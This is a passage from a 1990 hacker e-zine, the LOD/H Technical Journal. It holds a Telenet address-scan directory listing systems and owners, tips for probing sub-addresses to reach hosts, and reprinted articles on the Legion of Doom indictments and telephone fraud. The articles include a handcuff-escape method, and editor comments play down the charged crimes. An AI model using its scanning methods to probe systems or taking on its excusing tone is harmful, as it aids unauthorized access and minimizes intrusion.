$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
```

```
$  34      AOS
$  41      AOS
$  45      AOS
$  50      AOS
   51                      COMMAND UNRECOGNIZED
   52                      COMMAND UNRECOGNIZED
   53                      COMMAND UNRECOGNIZED
$  55      AOS
$  56      AOS
$  58                      ID
*  60
   141
*  160
*  161
   232
*  235


907--ALASKA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  31                      ID
*  32
$  33      AOS
*  34
$  35      AOS
$  44
$  45      AOS
*  46
$  47      AOS
$  48      AOS
*  50
*  51
$  130     AOS
   138


909--TELENET--ADDRESSES SCANNED:  0-1000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  3                       Telenet Port
   8       PRIME
   9       PRIME
   10      PRIME
   12      PRIME
   13
   14                      Telenet Port
   23      PRIME
   26      PRIME
   27      PRIME
   38      PRIME
   39                      USER ID
   44      PRIME
   52
   53      PRIME
   54
   56      PRIME
   60      PRIME
   61      PRIME
   62      PRIME
   63      PRIME
   65      PRIME
```

```
   73      PRIME
   77      PRIME
   78      PRIME
   79                      MHP201A
   90      PRIME
   92      PRIME
   94      PRIME
   95      PRIME
   97      PRIME
   98      PRIME
   100     PRIME
   101                     USER ID
   102                     USER ID
   104
   117     PRIME
   123     PRIME
   130     PRIME
   131     PRIME
   136     PRIME
   137     PRIME
   139     PRIME
   141     PRIME
   143     PRIME
   144     PRIME
   146     PRIME           Telemail
   147     PRIME               "
   148     PRIME               "
   149     PRIME               "
   151
   153                     TACL 1>
   154                        "
   155     PRIME           Telemail
   158     PRIME               "
   159     PRIME               "
   160     PRIME               "
   161     PRIME               "
   162     PRIME
   165     PRIME           Telemail
   168     PRIME               "
*  170
   171
   172
   173     PRIME
   176     PRIME
   178                     USER ID
   179                        "
   184                        "
   187
   197
   198
   205     PRIME
   206     PRIME
   235     PRIME
   236     PRIME
   239     PRIME
$  312                     !Load and Function Tester
$  314                                 "
   316                                 "
$  317                                 "
   318                                 "
   319                                 "
   325
   328                     !Load and Function Tester
   330                     FRAME TESTER?
```

338		!Load and Function Tester
400	PRIME	Telemail
401	PRIME	"
403	PRIME	"
404	PRIME	"
406	PRIME	"
407	PRIME	
408	PRIME	
409	PRIME	
508	PRIME	
600	VAX	
615	PRIME	
622	PRIME	
623	PRIME	
624	PRIME	
626	PRIME	
627	PRIME	
628	PRIME	
629	PRIME	
630	PRIME	
631		PC Pursuit BBS
632		
633		
634		
635		
643	PRIME	
646		
650	PRIME	
651	PRIME	
656		
657		
658		
659		
660		
661		
663		
664		
675	PRIME	
676	PRIME	
677	PRIME	
678	PRIME	
679	PRIME	
680	PRIME	
686		Telenet FE BBS1
747		
751		TELENET MUS/XA NETWORK
761	PRIME	Telemail
762	PRIME	
763	PRIME	
764		Telenet Async to 3270
767		TELENET NUS/XA NETWORK
770	PRIME	
772	PRIME	
773	PRIME	
777		Telenet Async to 3270
779		"
781		"
782		"
784		"
798	PRIME	
799	PRIME	
800	PRIME	
801	PRIME	
805	PRIME	

```
   810     PRIME
   811     PRIME
   815     PRIME
   816     PRIME
   817     PRIME
   818     PRIME
   819     PRIME
   822     PRIME
   823     PRIME
   824     PRIME
   825     PRIME
   826     PRIME
   827     PRIME
   828     PRIME
   830     PRIME
   831     PRIME
   832     PRIME
   833     PRIME
   834     PRIME
   840     PRIME          Telemail
   841     PRIME              "
   842     PRIME              "
   843     PRIME              "
   844     PRIME              "
   845     PRIME              "
   846
   847
   848     PRIME          Telemail
   893     PRIME
   894     PRIME
   900     PRIME
   901     PRIME
   902     PRIME
   911     PRIME
   912     PRIME


910--TELENET--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   100     PRIME
   200     PRIME
   300     PRIME
   400     PRIME
   500     PRIME


912--GEORGIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
   30
*  31


913--KANSAS--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  32                     ID
*  34
$  150     PRIME          TOPEKA
```

914--NEW YORK--ADDRESSES SCANNED: 0-200

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	32	VM/370	
	33	VM/370	
	34		>>
	35		>>
*	38		
$	41	VM/370	Pepsi
*	42		
	50		Mnematics
	133		
*	160		

916--CALIFORNIA--ADDRESSES SCANNED: 0-700

$	ADDR	SYSTEM TYPE	OWNER/SYSTEM NAME/RESPONSE
$	7		PC Pursuit Dialer (2400)
$	11		PC Pursuit Dialer (300)
$	12		PC Pursuit Dialer (1200)
$	30	AOS	
$	33	AOS	
$	34	PRIME	SACRA
$	36		ID
$	39	AOS	
$	40	AOS	
$	41		ID
	55	PRIME	FIMSAC
$	56	AOS	
$	57	AOS	
$	58	AOS	
$	59	AOS	
$	63	AOS	
$	64	AOS	
$	130	AOS	
$	131	AOS	
$	132	AOS	
$	133	AOS	
$	134	AOS	
$	141	AOS	
$	168	AOS	
*	169		
*	171		
$	232	AOS	
$	233	AOS	
*	234		
$	235	AOS	
$	236	AOS	
	240		
	268		Telenet Async to 3270
*	330		
*	331		
*	332		
*	333		
*	334		
*	335		
*	336		
*	337		
*	338		
*	339		

```
   350
*  360
*  361
*  362
*  363
*  364
*  365
*  366
*  367
*  368
*  369
$  530
*  531
   607     UNIX           IPA State Net
   608     UNIX           IPA State Net


918--OKLAHOMA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  30                     ID
   40                     CUSTOMER ID:
   105                    American Airlines
   130                    American Airlines


919--NORTH CAROLINA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
-----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  33                     ID
$  34      AOS
*  36
*  38
   43                     enter system id
   44                            "
   46                            "
   47      VM/370         Northern Telcom
*  58
$  59      AOS
*  60
$  70      HP-3000
$  124                    PC Pursuit Dialer (2400)
$  130     HP-3000
   135                    USA TODAY Sports Center
*  139
$  145
*  158
*  159


MNEMONIC ADDRESSES
------------------

$  AFS
   APPLE
   BCS
   BIONET
   BLUE
   BRS
   CCC03
```

CMS
$ COM
D30
D31
D32
D33
D34
D35
D36
D37
D41
D42
D43
D44
D45
D46
D50
D51
D52
D53
D54
D55
D56
D57
D58
D61
D62
D63
D64
DELPHI
DOW
DUNS
EIES
GOLD
GTEM
HHTRAN
INFO
IRIS
MMM
MUNI
NASA
NET
NSF
OAG
OLS
ORBIT
PORTAL
PRIME
S10
S11
S12
S13
S14
S15
S16
S17
S18
S19
SIS
SIT
SPR
STK1
STK2
STK3

STK4
SUMEX
USIBM
USPS
VUTEXT

PC-PERSUIT DIALERS

C D/CITY/BAUD,ID,PASSWORD

A/C	CITY
201	NJNEW
202	DCWAS
203	CTHAR
206	WASEA
212	NYNYO
213	CALAN
214	TXDAL
215	PAPHI
216	OHCLV
303	CODEN
305	FLMIA
312	ILCHI
313	MIDET
314	MOSLO
404	GAATL
408	CASJO
414	WIMIL
415	CAPAL
415	CASFA
503	ORPOR
602	AZPHO
612	MNMIN
617	MABOS
619	CASAD
713	TXHOU
714	CARIV
714	CASAN
801	UTSLC
813	FLTAM
816	MOKAN
818	CAGLE
916	CASAC
919	NCRTP

TELENET SCANNING TIPS

There are a few things to take into consideration when using Telenet. First of all, ignore error messages! When something says rejecting, or illegal address, or remote procedure error, try it again using sub-addresses. (IE: 100100a, 100100b...100100.99) I have also found that some addresses that are rejecting merely require that you connect to it using an id. Many of the things that respond with illegal address are telenet pads. Most of the public pads are in the following ranges: 0-20, 80-100, 180-190. Many times you will find private pads. If you are very, very lucky you will find that pad-to-pad connections are possible to these privately owned pads. However, most of the time they are not operating, so

your chances of actually picking anything up are very slim.

When I did this directory I only checked the first few sub addresses on addresses that didn't immediately connect, so needless to say there are still a vast amount of systems out there. One address I have responds with rejecting until you connect to the sub address 74! Imagine trying to go that far on each of the thousands of rejecting and illegal addresses I obtained in my scanning! Maybe some other time.

There are several areas that I scanned that are not in this directory. Mainly, these are areas where I didn't find anything. So you don't waste your time, all hosts in Canada are served through Datapac, so there is nothing in areas prefixed with a Canadian area code. There are also many US areas that I guess are still striving for the Industrial Revolution, and therefore have no systems online. There are also several privately owned prefixes that I didn't scan just because it would be a pain in the ass, above and beyond the pain involved doing the main scanning. The major ones are 622 (NYNEX), 891, 892, 893, & 894 (OWNERS UNKNOWN). There are also a few others that go up and down daily, depending upon their mood. I wouldn't suggest that you all immediately start hacking these prefixes; mainly because you will need an ID just to get a response other than refused collect connection.

Lastly, if anyone finds any errors in the directory, or finds anything I omitted, let me know, and I'll revise it. Also, if anyone would like a copy of the telix script I used to do this scanning, let me know. This was a bitch to do, but I think it was worth the trouble. The next update won't be for a year, as this should suffice for at least that long.

==========
End of Second Half of LOD/H Telenet Directory, Rev. #5
==========
The LOD/H Technical Journal, Issue #4: File 10 of 10.

NETWORK NEWS AND NOTES

The Network News and Notes file contains reprints of articles that are of interest to the majority of our intended readers. In this installment we borrowed heavily from the CFCA (Communications Fraud Control Association) Communicator since the newsletter deals specifically with issues relevant to our readers. The CFCA is "a nonprofit educational organization founded in 1985 to help the telecommunications industry combat fraud."

Overall, do not let the titles mislead you. Every article contains interesting and we hope useful information. Be sure to take the time and read into them before skipping. Some are a little old but better late than never. If anyone comes across any articles of interest, we would like to know about them. One more note, all comments within brackets [], are remarks made by one of the TJ editors.

The first two articles, as was stated in the Introduction, relate the various trouble some noted members of the community ran into.

Source: The Wall Street Journal
Issue: Wednesday, February 7, 1990
Title: Computer Hackers Accused of Scheme Against BellSouth

Author: Thomas M. Burton

CHICAGO--Federal grand juries in Chicago and Atlanta indicted four computer hackers in an alleged fraud scheme that authorities said could potentially disrupt emergency "911" telephone service throughout nine Southern States.

The men, alleged to be part of a closely knit cadre of computer hackers known as the Legion of Doom, gained access to the computer system, controlling telephone emergency service of BellSouth Corp., the Atlanta-based telecommunications giant.

BellSouth, through two subsidiaries, oversees phone service in Alabama, Mississippi, Georgia, Tennessee, Kentucky, Louisiana, Florida, and the Carolinas.

The Chicago indictment said members of the Legion of Doom are engaged in disrupting telephone service by entering a telephone company's computers and changing the routing of telephone calls. The hackers in the group also fraudulently obtain money from companies by altering information in their computers, the indictment said.

The hackers transferred stolen telephone-computer information from BellSouth to what prosecutors termed a "computer bulletin board system" in Lockport, Ill. In turn, the men planned to publish the computer data in a hackers' magazine, the grand jury charged.

-----EDITOR'S NOTES:
As always, ignorance and falsehoods are abound in most articles of this nature. For the record, NO TELEPHONE SERVICE WAS INTENTIONALLY DISRUPTED DUE TO THE ACCUSED MEMBERS. Furthermore, NO MONEY FROM COMPANIES WAS EVER FRAUDULENTLY OBTAINED BY ALTERING INFORMATION IN THEIR COMPUTERS. These are the typical WILD accusations made by law enforcement and further distorted by the media in such cases. As for the bbs is Lockport, Ill. well it was simply a legitimate information storage and retrieval system used by many, many people for legitimate purposes of information exchange. It would be very time consuming for the operator of said system to check every file on the system as it was a UNIX based system with a lot of disk space. The hacker magazine stated above is simply Phrack, Inc. put out by Knight Lightning and Taran King. More comments after next article.

Source: ComputerWorld
Issue: 1990
Title: Babes in high tech toyland nabbed
Author: Michael Alexander

CHICAGO--- The U.S. Justice Department escalated its ware against computer crime last week with two indictments against members of an alleged computer hacker group, who are charged with stealing a copy of a 911 emergency computer program from BellSouth Telephone Co., among several other crimes.

In a seven-count indictment returned in Chicago, Robert X, 20 also known as "The Prophet", is alleged to have used a computer to steal a copy of a computer program owned and used by BellSouth that controls emergency calls to the police, fire, ambulance and emergency services in cities throughout nine Southern states. According to the indictment, after X stole the program -- valued at $79,449 -- he uploaded it to a computer bulletin board.

The Chicago indictment further alleges that Craig Y, 19, also known as "Knight Lightning" downloaded the 911 program to his computer at the

University of Missouri in Columbia, Mo., and edited it for publication in "Phrack", a newsletter for computer hackers.

X and Y allegedly intended to disclose the stolen information to other computer hackers so that they could unlawfully access and perhaps disrupt other 911 services, the Chicago indictment charged.

In a second indictment returned in Atlanta, X and two others were charged with additional crimes related to BellSouth systems.

All four hackers allegedly are members of the Legion of Doom, described in the indictments "as a closely knit group of about 15 computer hackers", in Georgia, Texas, Michigan and several other states.

BellSouth spokesmen refused to say when or how the intrusion was detected or how a computer hacker was able to lift the highly sensitive and proprietary computer program.

"Hopefully, the government's action underscores that we do not intend to view this as the work of a mischievous prankster playing in a high-tech toyland", one spokesman said.

A source within BellSouth said that much of what the hacker took was documentation and not source code. "They did not disrupt any emergency telephone service, and we are not aware of any impact on our customers", the source said.

William Cook, an assistant U.S. attorney in Chicago, declined to comment on whether 911 service was actually disrupted. "It is a matter of evidence,", he said.

Cook also said that while the two hackers are charged with carrying out their scheme between December 1988 and February 1989, the indictment came after a year-long investigation. Though Cook refused to say how the hackers were discovered or caught, it is believed that after the initial penetration by one of the hackers, an intrusion task force was set up to monitor subsequent security breaches and to gather evidence against the hackers.

If convicted on all counts, X faces a prison sentence of up to 32 years and a maximum fine of $222,000, and Y faces a prison sentence of 31 years and a maximum fine of $122,000.

The Atlanta indictment charged Robert X, Adam Z, 22 known as "The Urvile" and also "Necron 99", and Frank XYZ, 23 known as "The Leftist", with eight counts each of computer fraud, wire fraud, access code fraud and interstate transportation of stolen property, among other crimes.

If convicted, each defendant faces up to five years imprisonment and a $250,000 fine on each count. The three illegally accessed Bellsouth computers and obtained proprietary information that they distributed to other hackers, the indictment alleged.

----EDITOR's NOTES: As is confirmed in this article, no telephone service was disrupted. The extent of BellSouth's inadequacy regarding security matters was not detailed in these articles. Here is a rundown of what may have possibly happened: BellSouth's SBDN (Southern Bell Data Network) which is a modified Telenet network that contains hundreds if not thousands of network nodes (individual systems) may have been accessed during which time the system that controls the entire network may have been possibly compromised. This would allow someone to access just about any system on the network, since Bellsouth consolidated most of their individual systems onto a large network (economically not a bad idea, but a security nightmare indeed). This may allow one to stumble onto systems dealing with 911. Since it may be interesting to learn how such a system operates and how the 'automatic trace' is

accomplished, the documentation would be of some help. No need for any actual programs however. Possibly, maybe, an article paraphrased the operation of 911 and was possibly to be distributed through the Phrack, Inc. newsletter.

The last names of those involved were omitted. Go look them up for yourself if you think its that important.

Just for the record: KNIGHT LIGHTNING NEVER WAS A MEMBER OF LOD. Yet another error in the reporting...LOD has half the 15 supposed number of members.

Another article followed the above one on the same page, by the same author:

Last week's disclosure of an alleged hacker theft of highly sensitive BellSouth Telephone Co. documentation for a nine-state 911 emergency system was the second serious security breach of a telephone company network to come to light in as many months.

In January, a trio of hackers was able to penetrate computer systems at Pacific Bell Telephone Co. and eavesdrop on conversations and perpetrate other criminal acts. [CW, Jan. 22].

Just how vulnerable are the nation's telephone systems to hacker attacks? Spokesmen for BellSouth and Pacific Bell insist that their systems are secure and that they and other telephone companies routinely assess their vulnerability to hackers.

"Security is being constantly changed, every intrusion is studied, passwords are changed," said Terry Johnson, manager of media relations for BellSouth in Atlanta.

Johnson however, declined to say how the hackers allegedly were able to lift the documentation to a 911 emergency communication services program.

"It is a rather serious computer security breach," said Richard Ichikawa, a Honolulu based telecommunications consultant who specializes in designing and installing 911 emergency systems. Stealing documentation, as the Legion of Doom member is alleged to have done, many not be a particularly difficult task for a savvy hacker, he said.

Taking the actual program, while certainly possible, would be much more challenging, however. The computer the controls enhanced 911 service is "quite isolated" from the calling public, Ichikawa said.

A recently published report to Congress by the Office of Technology Assessment suggested that the security and survivability of the nation's communication infrastructure is at greater risk to hacker attacks than ever before. Business and government reliance on communications and information based systems has increased, thus much more is at stake when those systems fail, the report stated.

The increased publicity of hacker attacks may help to curb attacks by hackers, said Sanford Sherizen, a security consultant at Data Security Systems, Inc., in Natick, Mass.

Some law enforcement officials complain that the nation's telephone firms do not cooperate as readily as they would expect when attacks of this sort occur. "They [telecommunications providers] are the single biggest headache law enforcers have right now," said Gail Thackery, Arizona stat assistant district attorney.

Regional Bell operating companies contacted last week disputed that assertion.

Source: CFCA (Communications Fraud Control Association) Communicator
Issue: February-March 1989
Title: But are LD networks safe?

Spread over vast distances and segmented by switches guarded by their own passwords, long distance networks are generally safe from virus attacks. According to Henry Kluepfel, Bellcore district manager of Security Planning intruders can easily attain the same information that is available to vendors and service providers. "If passwords are not changed regularly, intruders can quickly wreak havoc".

Scott Jarus, division director of Network Loss Prevention for Metromedia, and a member of CFCA's Board of Directors, says that users of "outboard" computer systems should not be assigned high level access to their company's switches or networks. "Non-proprietary hardware and software that handle such functions as billing collection and network database management are targets for unauthorized access and viruses", he says.

Mr. Kluepfel says that once hackers have the documentation they can send details on how to crash the systems to hundreds of bulletin boards. "We found that many system administrators didn't realize manufacturers install rudimentary default passwords."

Bellcore encourages using sophisticated codes and applying a variety of defenses. "Don't simply rely on a dialback modem, or a good password", says Mr. Kluepfel. "Above all, don't depend on a system to always perform as expected. And remember that new employees don't know the administrative measures the operator knows".

Managers should advise clients on any needed internal analysis and investigations, and keep abreast of technological advances when planning their defenses.

Source: Same as above
Title: Secure those gray boxes

After the FCC mandated that telcos provide test modes on the gray [or green (ed. note)] connection boxes usually found outside structures, there have been instances of persons surreptitiously clipping on handsets or snapping in modular connections (RJ-11) to make long distance calls on the residents' line. CFCA advises customers to padlock their boxes to deter such thievery.

John Venn, manger of Electronic Operations at PacBell's San Francisco office, reports that the boxes they install have separate connections for company and customer use, so that users have the option of securing access to their portion. PacBell's side has a built-in lock, while customers have padlock hasps.

Source: Same as above
Title: Product Description: Pen-Link analysis software
Author: Mike Murman

Since 1986, Pen-Link, Ltd. of Lincoln Neb. has been producing software that supports telecom investigations. Last July, the company introduced an updated version of Pen-Link, a two-year-old program that accepts data from most Dialed Number Recorders (DNRs) manufactured today, pools that information

into a common database structure, and allows the user to determine the calling patterns and the codes that have been compromised.

In today's ever-expanding telecommunications environment there is a need for faster identification and documentation of abuser call patterns to assure successful prosecutions. In applications of DNRs for investigative purposes, Pen-Link programs have reduced the time normally needed to input, analyze and report call data by as much as 90 percent. The result is improved productivity and quicker response to customers' needs.

The Pen-Link 2.0 program also provides several related features. First, it is a communications program, meaning that if you are using a DNR with modem capability or RS232 communication ports, the program can automatically load your call records into a PC, eliminating the time needed to key-in call record data.

Second, Pen-Link has an autoload format section that takes call records you have transferred and puts them into a standard record format. This is an important feature, given that the program supports multiple types of DNR hardware that all have unique call data formats.

In short, you can use any combination of DNRs in your investigations with Pen-Link and all data will be compatible. Furthermore, the program allows you the flexibility of purchasing new DNRs of any type, and not worry about duplicating your software expense or learning new software programs. [Notice how he keeps saying "you" in this article? (ed.)]

Finally, Pen-Link enables you to analyze and report on your call record information. There are 15 different call analysis reports and 6 different graphic reports. If these reports do not meet your needs, the program has a report generator that allows you to customize your analysis and reports.

Pen-Link is a dedicated program written in Turbo Pascal. The company elected to start from scratch and develop its own software, rather than simply adapting standard applications. There are two reasons for this approach: dedicated software programs run more efficiently, so that if a hacker is generating thousands of call records and you want to analyze and report this information, the program can provide a report much faster than if you were processing the data manually.

The second reason behind this strategy is that users only need to learn and understand the options for the pop-up menu format. Pen-Link also supports color monitors.

A manual editing feature allows you to enter your database and find specific records by the criteria you have selected; then review and edit the data. Manual editing also allows you to enter call data from old pen registers that only produce paper strips containing call information.

Another feature, the utilities section, provides several options to manage call information stored in your computer. This allows you to archive information to disk, then reload it later when it is needed. If your data files become corrupted, you can reconstruct and reformat them by using the utilities section. And if you wish to use your call data information in another application program, Pen-Link's utilities allow you to create an ASCII text file of call information, which then can be read by these programs. Furthermore, the program can accept ASCII text files from other DNR software programs.

The program calls for an IBM or compatible PC equipped with a hard drive, operating under MS-DOS 2.1 or higher. Pen-Link currently supports the following DNRs: JSI, Mitel, Racom, Voice ID, Hekimian, Bartec, Pamco, HDS, and Positive Controls. If you are using a DNR that is not listed, Pen-Link, LTD will program its software so it can automatically load call records from

your equipment.

The use of DNRs that automatically transfer call record data saves your security department considerable investigative time. Pen-Link's mission is to provide telcom security departments with a sophisticated investigative software tool that is easy to use, flexible and compatible.

Source: Same as above
Title: Extended Ky. case resolved

A 21 year-old Kentucky man was successfully convicted October 27 on 14 counts of computer and toll fraud under a number of state statutes. The defendant, John K. Detherage, pleaded guilty to using his personal computer to identify authorization codes in order to place unauthorized long distance calls valued at $27,000.

Detherage had been indicted a year earlier by an Oldham County grand jury on six felony counts related to the scam and two misdemeanor counts of possessing stolen personal identification and calling card numbers. He was later charged with two additional counts of possessing stolen PINs.

Detherage originally was to have been tried in February 1988, but the case was postponed when he pleaded guilty. He was sentenced at the Oldham County Circuit Court at LaGrange to pay $12,000 in restitution, and relinquish all computer equipment and software to the court.

His charges included theft of services over $100; theft of services; four counts of unlawful access to a computer, second degree; possession of stolen credit or debit cards, and six counts of unlawful access to a computer. Four other counts were dismissed.

Kentucky has a number of statutes that can be applied to theft of telephone services. Chapter 514.060 addresses theft of services, while 514.065 describes the possession, use or transfer of a device for the theft of services. Theft of services is defined to include telephone service, and the defendant was charged with two counts under 514.060.

Detherage was also charged with 10 counts (six felony and four misdemeanor) under Chapter 434.580, which relates to the receipt of stolen credit cards. Kentucky interprets computer crime as involving accessing of computer systems to obtain money, property or services through false or fraudulent pretenses, representations or promises.

Source: Same as above
Title: Industry Overview

As major players in the telecom industry shore up the defenses on their telephone and computer networks, criminals [who, us?] are turning to smaller, less protected companies [its called survival of the fittest]. In 1988, the use of stolen access codes to make free long distance calls continued to be the favorite modus operandi among network intruders throughout the industry, although code abuse leveled off or declined among large carriers with well funded security organizations and substantial technical apparatus to defeat most toll and network fraud.

However, some resellers and PBX owners are being victimized by fraud of all types, probably because most use access codes with only six or seven digits. Such vulnerable systems will continue to be used by abusers to route long distance calls overseas. Fraudulent calls placed on a compromised system

quickly accumulate charges the system owner must eventually pay.

Many PBX's also lack effective systems able to detect irregular activities and block fraudulent calls. Add to this the fact that several carriers may be handling the inbound and outbound WATS lines, and investigator's jobs can really become complex.

The sharp increase in the abuse of voice store-and-forward systems, or voice mail, that began alarming owners and manufacturers early last year will continue through 1989. Last spring, traffickers began seizing private voice mail systems to coordinate drug shipments. Messages can be quickly erased when they are no longer needed. Dealers have been receiving mailbox numbers by pager, then calling in recorded messages from public telephones.

No matter how long a security code may be, if intruders obtain an 800 number to a voice mail system they can program a computer and take the time to break it, because it won't cost them anything. Once accessed through a PBX, intruders can exchange stolen lists of long distance access codes, usually without the system owner's knowledge.

The time it takes abusers to break into a voice mail system is proportionate to the number of digits in a security code. A four-digit code can, for example be beaten by a skilled computer operator in slightly over a minute. [Clarification, this is probably through the use of default security codes, not sequential or random scanning techniques. ed.] One problem is that voice mail customers don't often know what features to select when buying a system. And few manufactures take the initiative to advise customers of the importance of security.

Another problem that has been around for several years, subscription fraud, will continue into 1989, although telcos have reduced it by making customer's applications more detailed and comprehensive [like requiring customers to supply their credit card numbers. This way if they skip town without paying and the credit card is valid and not maxed out, the phone company can still recover the money owned them. ed.], and by checking out potential customers more thoroughly. Dishonest subscribers use false identification and credit references to obtain calling cards and services, with no intention of paying.

Intelligent software is available that aids switch and PBX owners in identifying, screening and blocking fraudulent calls. Another precaution is to add digits to access codes, because numbers of fewer than 10 digits cannot withstand today's intruders. A number of carriers have already gone to 14 digits.

Some larger carriers have been sending technical representative out to reprogram PBX's, encourage customers to install better safeguards, and advise them to shut down their systems at night and on weekends. Customers should also expect to see billing inserts warning of the improved defenses against fraud.

As more companies break into the international market they will need solid security safeguards to protect them against intrusions of their networks. A small interexchange carrier (IC) in Alabama was hit hard recently by "phone phreakers" soon after they opened overseas service.

Other start-ups find themselves desperately trying to play catch up after blithely operating several years without a hitch. An IC with 30,000 customers in Southern California increased its seven-digit access codes to ten digits and it aggressively pursuing five groups of hackers its investigators uncovered after discovering that company-issued personal identification numbers were posted on computer bulletin boards.

In the final analysis, one fact emerges: widespread cooperation among injured parties will ensure quicker results and conserve vital company

resources.

Source: PC Week April 10,1989
Title: Keep an Ear Out for New Voice Technology
Author: Matt Kramer

With the rise in digital transmission of voice and data, it's easy to assume that voice and data have merged into a muddle of indiscriminate material, with voice indistinguishable from data. After all, a bit's a bit, right?

But, those people in the white lab coats keep coming up with new ways to use voice technology.

The telephone companies are the ones poised to make the most of this technology. U.S. Sprint recently announced that it was experimenting with the use of "voice prints"--a recording of a verbal password that would be used to help identify authorized subscribers using their U.S. Sprint telephone charge cards, which would help cut down on hackers trying to steal telephone service. Subscribers would record a voice print of a verbal password. Then, when they were using their charge cards, they would repeat the passwords to verify their identities.

Northern Telecom has embarked on its own efforts to bring voice-recognition technology to public telephone service. it is selling telephone companies a new billing service that uses voice-recognition technology to automate collect and third-number billing calls.

Called the Automated Alternate Billing Service (AABS), the system calls the party to be billed and "asks" if the charges will be accepted. The Northern Telecom switch "listens" to the response and either completes the call or informs the calling party that the charges have been refused.

Northern Telecom also plans to use voice technology to offer other features, such as allowing the system to announce the caller's name in the party's own voice and stating the call's origin, such as the name of a city, a university or an institution.

The big draw for phone companies, of course, is reduction of personnel costs, since no human operator assistance is needed. That's an option for lots of corporate financial officers who have been attracted to automated-attendant phone systems because they can replace a bevy of switchboard operators.

What would be interesting about the Northern Telecom technology is to see if it can be expanded to other gear, such as private branch exchanges, and if if can beef up the automated-attendant feature. Rather than require callers to punch a lot of buttons to get in touch with someone, perhaps voice recognition could be used to "listen" for a name and then direct the call to the appropriate party. That would be especially useful in situations where you don't know the exact extension of whomever you are calling. Trying to maneuver around an on-line telephone directory can be a real pain in the neck.

At the same time, voice-recognition technology can be paired with voice mail so that users can access their voice mailboxes without having to punch in an identification number or password or to deal with a menu. It would be a lot easier to just say, "Read messages".

There's still a lot of potential to be developed in voice technology.

Source: PC WEEK May 15, 1989
Title: MCI to Provide Transition to ISDN
Author: Matt Kramer

MCI Communications Inc. hopes to give its customers a smoother transition to ISDN with new services that offer many of the technology's features without requiring costly upgrades to ISDN-compatible equipment.

The communications company recently announced new Integrated Services Digital Network and "ISDN-equivalent" services that will provide MCI customers with network-configuration, control and management features, according to company officials.

The equivalent services, which will be available this fall, run over existing in-band signaling channels. True ISDN services require a separate out-of-band D channel for signalling.

MCI's full ISDN services are scheduled for delivery in the first quarter of next year.

The equivalent services, while not providing the full ISDN feature set, are designed to introduce customers to the benefits of ISDN before requiring them to make the investment in ISDN-compatible telecommunications gear, officials said.

"While they may not want to make that expenditure now, they certainly want to have ISDN-like services available", said Kevin Sharer, senior vice president of sales and marketing at MCI, in Washington.

The equivalent products include the MCI 800 Enhanced Services Package, which allows customers with dedicated access lines to receive the number of the calling party just prior to receiving the call. This Automatic Number Identification (ANI) is then used to query a database to bring up a customer's account or other information, according to officials.

Northern Telecom Inc. and Rockwell International Corp. have developed new software for their private branch exchanges that permits the switches to handle in-band ANI transmission.

Some observers expect the equivalent services will be useful in the evolution from existing telecommunications to ISDN. "If all you need is ANI, then the equivalent services might be just what you want", said Claude Stone, vice president of product development at the First National Bank of Chicago and vice chairman of the national ISDN Users Forum.

Source: A newspaper
Date: Sometime in June
Title: Sheriff's prisoners find handcuffs are a snap to get out of
Author: unknown

Ten jail prisoners who discovered an ingenious way to escape from handcuffs are sending alarms across the nation. Emergency bulletins will be sent to law enforcement agencies via teletype machines nationwide. On Friday, deputies were taking 10 prisoners from the jail downtown to another one in the city. All were handcuffed. "When the deputy opened the back of the van, all 10 guys were smiling and said, 'See what we did,'" the Sheriff said. Each prisoner held up his arms to show broken handcuffs.

The culprit was a simple seat belt clip. The circular cuffs are connected with a chain, held tightly to each cuff by a swivel-head link that moves freely to ensure that the chain cannot be twisted when the wrists move. Seat

belt clips typically have one or two holes, or slots, that lock them into place with the buckle. The prisoners learned that jamming the swivel-head on the clip stops the swivel head from turning freely. "A quick twist of the wrist, and the chain shears off at the cuff," the sheriff said.

The sheriff ordered seat belts removed from jail vans. He also ordered that the prisoners in cruisers be handcuffed with their hands behind their back and the seat belts locked firmly across them. Deputies often handcuffed prisoners' hands in front of their bodies. But even if prisoners were cuffed behind their backs, it would not be difficult for them to manipulate the swivel head into a seat belt buckle and twist themselves free -- if they could reach the seat belt. "This is a danger to every law enforcement officer in the country", the sheriff said.

Handcuff manufacturers contacted Friday are studying the possibility of redesigning the handcuffs by enlarging the swivel head or placing some type of shroud over it. "People in jail have 24 hours a day to figure a way out" said the sheriff.

"Although only 10 people know the technique, I guarantee that the entire jail population will know how to do it before the day is up,". "The only people who won't know about it is law enforcement officers". The sheriff met Friday with representatives of several local and federal agencies. An FBI spokesman said the escape technique will be described in the FBI's nationally distributed LAW ENFORCEMENT BULLETIN.

Although the sheriff was grateful to learn about the technique from prisoners who did not try to escape, he was not amused. He told deputies, "Charge them with destruction of county property. We'll see how funny they think that is."

Title: Federal grand jury probes Cincinnati Bell wiretapping flap
Source: Data Communications
Issue: November 1988
Author: John Bush

A federal grand jury in Ohio is investigating illegal wiretapping allegations involving two former employees of Cincinnati Bell who claim the telephone company ordered them for more than a decade to eavesdrop on customers.

In addition, an attorney who filed a class-action lawsuit against Cincinnati Bell on behalf of the people and companies who were allegedly wiretapped, says he is trying to prove that the telephone company sold the information gained from the electronic surveillance.

A Cincinnati Bell spokesperson denied the charges, saying they were trumped-up by the two former employees, who are seeking revenge after being fired by the telephone company.

